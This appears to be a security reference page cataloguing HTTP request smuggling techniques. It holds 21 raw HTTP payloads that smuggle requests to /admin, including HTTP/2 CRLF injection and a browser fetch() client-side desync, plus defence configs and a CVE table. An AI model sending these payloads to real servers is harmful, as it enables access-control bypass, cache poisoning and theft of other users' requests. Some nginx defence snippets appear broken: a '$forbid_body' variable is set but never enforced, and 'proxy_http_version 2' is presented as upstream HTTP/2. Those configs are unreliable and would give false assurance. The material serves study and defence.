Vulnsy
All cheat sheets

HTTP Request Smuggling Cheat Sheet

criticalOWASP Top 10 A04CWE-444

HTTP request smuggling exploits parser disagreements between a front-end proxy and a back-end server about where one request ends and the next begins. By crafting ambiguous Content-Length and Transfer-Encoding framing — or downgrading HTTP/2 to HTTP/1.1 mid-flight — an attacker prepends a hidden request to an unrelated victim's connection. Impact is socket poisoning, response queue poisoning, ACL bypass, cache poisoning, and credential theft from in-flight requests.

The 2024-2025 frontier is Kettle's "HTTP/1.1 Must Die / Desync Endgame" work: 0.CL via Expect: 100-continue (CVE-2025-32094, Akamai/LastPass), TE.0 across major CDNs, and chunk-extension smuggling (CVE-2025-55315). The only durable fix is end-to-end HTTP/2 to the back-end; header-rejection alone has been bypassed too many times.

21 payloads across 8 technique families

CL.TE — Content-Length front, Transfer-Encoding back

Front-end frames the request with Content-Length and forwards the full body downstream. Back-end uses Transfer-Encoding: chunked, stops at the 0\r\n\r\n terminator, and treats the trailing bytes as the start of the next pipelined request. Result: attacker prepends a smuggled request to whatever the front-end sends next on that socket.

Detection signals
  • Time-based: the second pipelined request times out because the back-end is still waiting for body bytes that never arrive.
  • Differential: a follower request from a separate session returns content the attacker injected (e.g. /admin response).
  • HTTP Request Smuggler v3.0 / Param-Miner discrepancy tests grade the connection as desynced.

CL.TE smoke test

CL.TE
POST / HTTP/1.1
Host: target
Content-Length: 6
Transfer-Encoding: chunked

0

X

Front-end reads 6 body bytes (the entire payload) and forwards. Back-end honours chunked, sees the 0-chunk terminator, and the trailing X becomes the first byte of the next request — confirming desync.

CL.TE smuggled GET /admin

CL.TE
POST / HTTP/1.1
Host: target
Content-Length: 44
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target

After the 0-chunk terminator, the GET /admin block is left in the back-end socket. The next legitimate request on that connection is prepended with the smuggled bytes — front-end sees a normal POST, back-end serves /admin to the wrong client.

TE.CL — Transfer-Encoding front, Content-Length back

The mirror image. Front-end honours chunked framing; back-end takes only the first N bytes per Content-Length and leaves the chunk-encoded remainder in the socket as the next request.

Detection signals
  • Time-based: the second pipelined request returns immediately because the back-end already read the smuggled body.
  • Differential response on a follower request — body of the smuggled request appears in the response queue.

TE.CL smoke test

TE.CL
POST / HTTP/1.1
Host: target
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Front-end forwards the chunked body in full; back-end reads only 3 bytes (matching CL: 3) and treats "SMUGGLED\r\n0\r\n\r\n" as the start of the next request, confirming desync. The opposite timing signal to CL.TE.

TE.TE — Transfer-Encoding header obfuscation

Both servers nominally support Transfer-Encoding: chunked, but one is tricked into ignoring it via a header obfuscation. Test one obfuscation per request; the goal is to find a single string that the front-end accepts as chunked while the back-end discards it (or vice versa), reducing the attack to CL.TE or TE.CL behaviour.

Detection signals
  • HTTP Request Smuggler v3.0 enumerates the canonical obfuscation set automatically.
  • Burp Repeater with "Update Content-Length" disabled, paired with the differential timing checks above.

Space before colon

TE.TE
Transfer-Encoding : chunked

RFC 7230 forbids whitespace before the header colon, but some parsers tolerate it while others reject the whole line. The mismatch lets one server frame as CL and the other as TE.

Tab between colon and value

TE.TE
Transfer-Encoding:	chunked

Tab character between colon and value is rejected by strict parsers and accepted by lenient ones — same effect as the space-before-colon trick.

Leading-space header folding

TE.TE
 Transfer-Encoding: chunked

Leading whitespace triggers HTTP/1.0-style "header line continuation" on legacy parsers, which fold it into the previous header instead of treating it as TE.

Duplicate Transfer-Encoding

TE.TE
Transfer-Encoding: chunked
Transfer-Encoding: identity

Two TE headers, one valid and one invalid value. Servers disagree on which one wins (first-wins vs last-wins vs reject); the disagreement is the desync.

Embedded CR (chunked\rZ)

TE.TE
Transfer-Encoding: chunked
Z

A bare CR inside the value is normalised differently by different parsers — some treat the value as "chunked", others as a malformed token and ignore the header entirely.

xchunked variant

TE.TE
Transfer-Encoding: xchunked

Lenient parsers do prefix-matching on the value and treat xchunked as chunked; strict parsers reject the unknown coding. The disagreement gives the attacker CL.TE or TE.CL behaviour.

HTTP/2 → HTTP/1.1 downgrade smuggling

Front-end speaks HTTP/2 to the client and downgrades to HTTP/1.1 toward the back-end. The translation step re-serialises a binary HTTP/2 message into ASCII HTTP/1.1 framing, and any leniency in that translator becomes an injection primitive. Documented at scale by Kettle (PortSwigger 2021) against AWS ALB, Netflix, Atlassian, and Netlify.

Detection signals
  • Front-end accepts forbidden HTTP/2 headers (transfer-encoding) or non-printable bytes in pseudo-headers.
  • Back-end response queue contains content from a request the attacker did not legitimately issue.

H2.CL — content-length conflict

H2.CL
HTTP/2 message: :method=POST, content-length=0, body=200 bytes

Front-end accepts an HTTP/2 message whose declared content-length disagrees with actual body length. On downgrade it emits Content-Length: 0 plus 200 bytes of body, and the back-end reads those bytes as the next request.

H2.TE — forbidden TE smuggled through

H2.TE
HTTP/2 message: transfer-encoding: chunked

HTTP/2 forbids transfer-encoding: chunked, but some translators forward it anyway. After downgrade the back-end frames the body by chunk while the front-end already framed by length, reducing to CL.TE behaviour.

H2 CRLF-in-header

HTTP/2 downgrade
header value: "smuggle\r\nGET /admin HTTP/1.1\r\nX:"

HTTP/2 binary framing carries CRLF inside header values; a naive translator emits it verbatim into HTTP/1.1, splitting one header into a real header followed by an attacker-controlled request line.

H2 request-line desync via :path

HTTP/2 downgrade
:path = "/a HTTP/1.1\r\nHost: target\r\n\r\nGET /admin"

CRLF embedded in the :path pseudo-header is re-serialised on downgrade, producing a malformed first line followed by a second attacker-controlled request line on the same connection.

0.CL, CL.0 and TE.0 desync

The 2022-2024 family. 0.CL — front-end believes the body is empty while back-end keeps reading until a hidden length is satisfied (often via Expect: 100-continue mishandling). CL.0 — back-end ignores Content-Length and treats the body as the next request, most reliable on early-response gadgets like static asset paths or IIS reserved names. TE.0 (sw33tLie/bsysop/Medusa, 2024) — back-end accepts chunked but ignores body framing entirely.

Detection signals
  • Find early-response gadgets first: paths returning 30x/40x/200 without reading the request body (.css, .js, redirect handlers, IIS reserved names).
  • For 0.CL specifically: send Expect: 100-continue with a body and observe whether the front-end forwards 0 bytes while the back-end reads CL bytes.
  • V-H / H-V grading in HTTP Request Smuggler v3.0 catches the parser-discrepancy framework Kettle formalised in 2024.

CL.0 against static gadget

CL.0
POST /static.css HTTP/1.1
Host: target
Content-Length: 41

GET /admin HTTP/1.1
Host: target

Back-end serves /static.css directly (early response, body never read), leaves the GET /admin block in the socket. Static asset paths, redirect handlers, and IIS reserved names like /con are the most reliable gadgets.

0.CL via Expect: 100-continue

0.CL
POST / HTTP/1.1
Host: target
Content-Length: 41
Expect: 100-continue

GET /admin HTTP/1.1
Host: target

Front-end mishandles Expect: 100-continue, treating the body as zero-length and forwarding only the headers. Back-end still reads Content-Length bytes from the socket, consuming the smuggled GET /admin block. Akamai pattern (CVE-2025-32094).

0.CL with obfuscated Expect

0.CL
Expect: y 100-continue

Akamai's parser accepted "Expect: y 100-continue" as a valid 100-continue directive while back-end vendors rejected it, producing the parser-discrepancy that drove CVE-2025-32094 against auth.lastpass.com.

TE.0 chunked-ignore

TE.0
POST / HTTP/1.1
Host: target
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target

Back-end accepts chunked but ignores body framing entirely, treating remaining bytes as the next request. sw33tLie/bsysop/Medusa research, 3rd place in PortSwigger Top-10 Web Hacking Techniques of 2024 with multiple CDNs exploitable.

Pause-based desync

Attacker sends a partial request, pauses past the server timeout, and some implementations leave the socket in a half-open state and try to reuse it. The next request on that socket is prepended with the attacker's leftover bytes. Foundational for understanding modern timeout-driven vectors. CVE-2022-22720 (Apache) and CVE-2022-23959 (Varnish) are the canonical cases.

Detection signals
  • Send a partial request, pause past the documented server timeout, then issue a follower request and observe whether response/queue ordering is broken.
  • Server software banner + version → cross-reference against CVE-2022-22720 / CVE-2022-23959.

Apache 2.4 pause-based

Apache 2.4 (CVE-2022-22720)
POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 100\r\n\r\n[20 bytes][pause 60s][80 bytes]

Apache's server-issued redirects could leave a partial body in the socket past the timeout window. CVE-2022-22720 closed this; mitigations are version-pinned.

Varnish synth() timeout

Varnish (CVE-2022-23959)
Partial POST → server-side synth() response → connection retained with leftover bytes

Varnish's synth() fast-path response returned before the body was fully read; the unread bytes lived in the socket and prepended the next request. CVE-2022-23959.

Chunk-extension smuggling (CVE-2025-55315)

Class affecting front-end + back-end pairs that disagree on chunk-extension parsing. Chunked encoding allows extensions on the size line ("1; ext=val\r\n"); F5 NGINX App Protect normalises them out, others forward them verbatim, and the differential lets an attacker craft a body that frames differently between the two hops. Disclosed November 2025.

Detection signals
  • Compare front-end vs back-end interpretation of the chunk size line when extensions are present.
  • F5 NGINX App Protect normalises chunk extensions; absence of normalisation on either hop is the surface.

Chunk-extension smuggle

Chunk-extension (CVE-2025-55315)
POST / HTTP/1.1
Host: target
Transfer-Encoding: chunked

1; foo=bar
A
0

GET /admin HTTP/1.1

Front-end strips "; foo=bar" (or interprets it differently) while back-end reads the chunk size differently because of how the extension is parsed. The framing difference leaves the smuggled request bytes in the back-end socket.

Browser-powered desync (client-side desync)

Kettle 2022 reformulation: the desync occurs between a victim's browser and the front-end, with no malicious client tooling required. The browser pool reuses a poisoned socket so the victim's next request is prepended with the attacker's smuggled prefix. Enables exploitation of CL.0 / 0.CL classes against arbitrary victims via a malicious page (no MITM required).

Detection signals
  • Look for CL.0 / 0.CL reachability on early-response gadgets accessible from any origin (CORS-permitted POSTs, simple-request endpoints).
  • In monitoring: request lines showing up in unexpected sequence on shared sockets.

CSD via fetch keepalive

Browser-powered desync
fetch('https://victim.tld/static.css', {method:'POST', body:'GET /admin HTTP/1.1\r\nHost: victim.tld\r\n\r\n', keepalive:true})

A malicious page issues a fetch() with keepalive that lands on a CL.0 gadget. The browser keeps the socket warm in its connection pool; the victim's next request to victim.tld reuses that socket and is prepended by the smuggled bytes.

Modern bypasses (2023–2026)

V-H / H-V parser-discrepancy framework (HTTP/1.1 Must Die, 2024-2025)

Kettle's "Desync Endgame" framework: Visible-to-front-Hidden-to-back and Hidden-to-front-Visible-to-back combinations unify CL.TE, TE.CL, 0.CL, CL.0, TE.0 and chunk-extension smuggling under a single grading model. Argument: HTTP/1.1's multi-length-spec design is the bug; only durable fix is upstream HTTP/2.

Visible-front Content-Length = 0  +  Hidden-back Content-Length = 41  →  0.CL desync

Expect: 100-continue 0.CL (Akamai class)

Front-end mishandles Expect: 100-continue (or obfuscated variants like "Expect: y 100-continue") so it forwards zero body bytes while the back-end still reads Content-Length bytes. CVE-2025-32094 against Akamai-fronted tenants including auth.lastpass.com; researchers earned $200k+ in two weeks across CDNs.

Expect: y 100-continue → 0.CL desync against Akamai-fronted backend

TE.0 across major CDNs (2024)

Back-end accepts Transfer-Encoding: chunked but ignores body framing, treating remaining bytes as the next request. sw33tLie/bsysop/Medusa research; 3rd place in PortSwigger Top 10 Web Hacking Techniques of 2024 with multiple major CDNs exploitable.

Chunk-extension smuggling (CVE-2025-55315)

Front-end and back-end disagree on chunk-extension parsing. F5 NGINX App Protect normalises extensions out; others forward them verbatim. The differential frames the body inconsistently between the two hops, leaving smuggled bytes in the back-end socket. Disclosed November 2025.

1; ext=val\r\nA\r\n0\r\n\r\nGET /admin HTTP/1.1\r\n\r\n

HTTP/2 downgrade era — H2.CL / H2.TE / CRLF-in-header

HTTP/2 → HTTP/1.1 translation re-serialises binary frames into ASCII; any leniency becomes an injection primitive. Weaponised against AWS ALB, Netflix, Atlassian, Netlify in 2021-2023.

Pause-based desync (CVE-2022-22720 / 23959)

Sender pauses mid-request past the server timeout; some implementations retain the socket in a half-open state and reuse it. CVE-2022-22720 (Apache server-issued redirects) and CVE-2022-23959 (Varnish synth() timeout) remain the canonical cases.

Defences

End-to-end HTTP/2 (upstream HTTP/2 to the back-end)

Front-end speaks HTTP/2 to the client AND to the back-end. Eliminates the HTTP/1.1 framing ambiguity that all of CL.TE / TE.CL / 0.CL / CL.0 / TE.0 rely on. Per Kettle 2024-2025 this is the only durable fix; everything else is defence-in-depth.

# nginx — upstream HTTP/2 to the back-end (requires nginx 1.25.1+).
# Removes HTTP/1.1 from the back-channel entirely.
http {
    upstream app_backend {
        # All back-ends speak HTTP/2 directly.
        server 10.0.0.10:443;
        server 10.0.0.11:443;
        keepalive 32;
    }

    server {
        listen 443 ssl http2;
        server_name app.example.com;

        location / {
            proxy_pass        https://app_backend;
            proxy_http_version 2;          # nginx 1.25.1+ — upstream HTTP/2
            proxy_ssl_server_name on;

            # Defence-in-depth: forbid request-body on safe methods.
            if ($request_method ~ ^(GET|HEAD|OPTIONS)$) {
                set $forbid_body 1;
            }
            client_max_body_size 1m;
        }
    }
}

Reject ambiguous CL/TE at the front edge

Drop any request containing both Content-Length and Transfer-Encoding, multiple Content-Length headers, multiple Transfer-Encoding headers, whitespace-prefixed CL/TE, or non-canonical TE values. The example below uses HAProxy http-request rules and an nginx map; deploy whichever matches your edge.

# haproxy.cfg — reject ambiguous framing at the edge.
frontend fe_https
    bind *:443 ssl crt /etc/haproxy/certs
    mode http

    # Both CL and TE present — classic CL.TE / TE.CL surface.
    http-request deny status 400 if { req.hdr_cnt(content-length) gt 0 } { req.hdr_cnt(transfer-encoding) gt 0 }

    # Duplicate Content-Length / Transfer-Encoding.
    http-request deny status 400 if { req.hdr_cnt(content-length) gt 1 }
    http-request deny status 400 if { req.hdr_cnt(transfer-encoding) gt 1 }

    # Non-canonical TE value (anything other than the literal "chunked").
    http-request deny status 400 if { req.hdr(transfer-encoding) -m found } !{ req.hdr(transfer-encoding) -m str chunked }

    # Reject body on safe methods.
    http-request deny status 400 if { method GET HEAD OPTIONS } { req.hdr(content-length) -m int gt 0 }

    default_backend be_app

Strip chunk extensions and harden TE parsing (nginx)

Chunk extensions are forwarded inconsistently between front-end and back-end (CVE-2025-55315). Strip them at the edge and reject obfuscated TE variants (whitespace before colon, leading-space folding, non-chunked values). NGINX App Protect normalises extensions by default; the snippet below replicates the behaviour with stock nginx.

# nginx — reject obfuscated CL/TE and forbid request-body on safe methods.
# Pair with NGINX App Protect (or equivalent) to strip chunk extensions.
http {
    map $http_transfer_encoding $bad_te {
        default                 0;
        ""                      0;
        "chunked"               0;
        "~^\s+chunked"          1;   # leading whitespace
        "~^chunked\s+"          1;   # trailing whitespace
        "~,"                    1;   # multiple codings
        "~[^A-Za-z]chunked"     1;   # embedded delimiter
    }

    # Reject when both CL and TE are present (HTTP/1.1 forbids this).
    map "$http_content_length:$http_transfer_encoding" $cl_te_conflict {
        default                 0;
        "~^.+:.+$"              1;
    }

    server {
        listen 443 ssl http2;
        server_name app.example.com;

        if ($bad_te)         { return 400; }
        if ($cl_te_conflict) { return 400; }

        # Forbid body on GET/HEAD/OPTIONS — kills early-response gadgets.
        if ($request_method ~ ^(GET|HEAD|OPTIONS)$) {
            set $forbid_body 1;
        }

        location / {
            proxy_pass         https://app_backend;
            proxy_http_version 2;          # upstream HTTP/2
            proxy_request_buffering on;    # full body buffered before forwarding
        }
    }
}

Disable connection reuse to the back-end

When upstream HTTP/2 is not yet available, force Connection: close on every front-end → back-end hop. Performance cost is real, but it neutralises socket poisoning entirely because there is no shared socket for an attacker to taint.

location / {
    proxy_pass http://app_backend;
    proxy_set_header Connection "";       # remove client Connection header
    proxy_http_version 1.1;
    proxy_set_header Connection "close";  # one request per upstream socket
    keepalive_requests 1;
}

Forbid request-body on early-response paths

CL.0 and 0.CL exploitation depends on "early-response gadgets" — paths that return 30x/40x/200 without reading the request body (static assets, redirect handlers, IIS reserved names). Reject any body on those paths at the edge so the body-reading skew vanishes.

Continuous scanning + vendor-patch hygiene

Run HTTP Request Smuggler v3.0 (Burp Pro) and Param-Miner discrepancy tests against staging in CI. Track and apply CVE-2024-53008 (HAProxy), CVE-2025-32094 (Akamai Expect), CVE-2025-55315 (chunk-extension), CVE-2022-22720 / CVE-2022-23959 (Apache/Varnish pause-based) on the relevant fleets.

Tighten upstream HTTP-version routing

If you cannot switch to upstream HTTP/2 yet, do not silently downgrade HTTP/2 to HTTP/1.1 toward the back-end without strict header re-validation. Reject HTTP/2 messages containing forbidden headers (transfer-encoding) or non-printable bytes in pseudo-headers before they ever reach the translator.

Real-world CVEs

CVEYearTitleDescription
CVE-2025-320942025Akamai Expect-based 0.CL desync (auth.lastpass.com)Akamai parser accepted obfuscated Expect: 100-continue values ("Expect: y 100-continue") that back-end vendors rejected, producing a 0.CL desync against high-value tenants including auth.lastpass.com. Researchers earned $200k+ across CDNs in two weeks. Patched by Akamai.
CVE-2024-530082024HAProxy CL/TE request smuggling → ACL bypassSmuggled requests bypassed HAProxy ACLs and reached protected back-end endpoints, enabling exfil of resources behind the proxy. Triage critical for HAProxy-fronted infrastructure; patched in 2.9.x / 3.0.x stable branches.
CVE-2025-553152025Chunk-extension HTTP request smugglingFront-end + back-end pairs disagreed on chunk-extension parsing ("1; ext=val\r\n"). F5 NGINX App Protect normalises extensions out; others did not. F5 published mitigation guidance in November 2025.
CVE-2022-227202022Apache 2.4 pause-based desync via server-issued redirectsApache server-issued redirects could leave a partial body in the socket past the timeout window, enabling pause-based smuggling. Foundational case for understanding modern timeout-driven vectors.
CVE-2022-239592022Varnish synth() timeout-driven desyncVarnish synth() fast-path returned before the body was fully read; unread bytes lived in the socket and prepended the next request. Companion to CVE-2022-22720 in the pause-based class.
TE.0 desync (Top-10 2024)2024TE.0 across major CDNssw33tLie/bsysop/Medusa research disclosed TE.0 (back-end accepts chunked but ignores framing) against multiple major CDNs. 3rd place in PortSwigger Top 10 Web Hacking Techniques of 2024; reported $200k+ in bounties within two weeks.

Further reading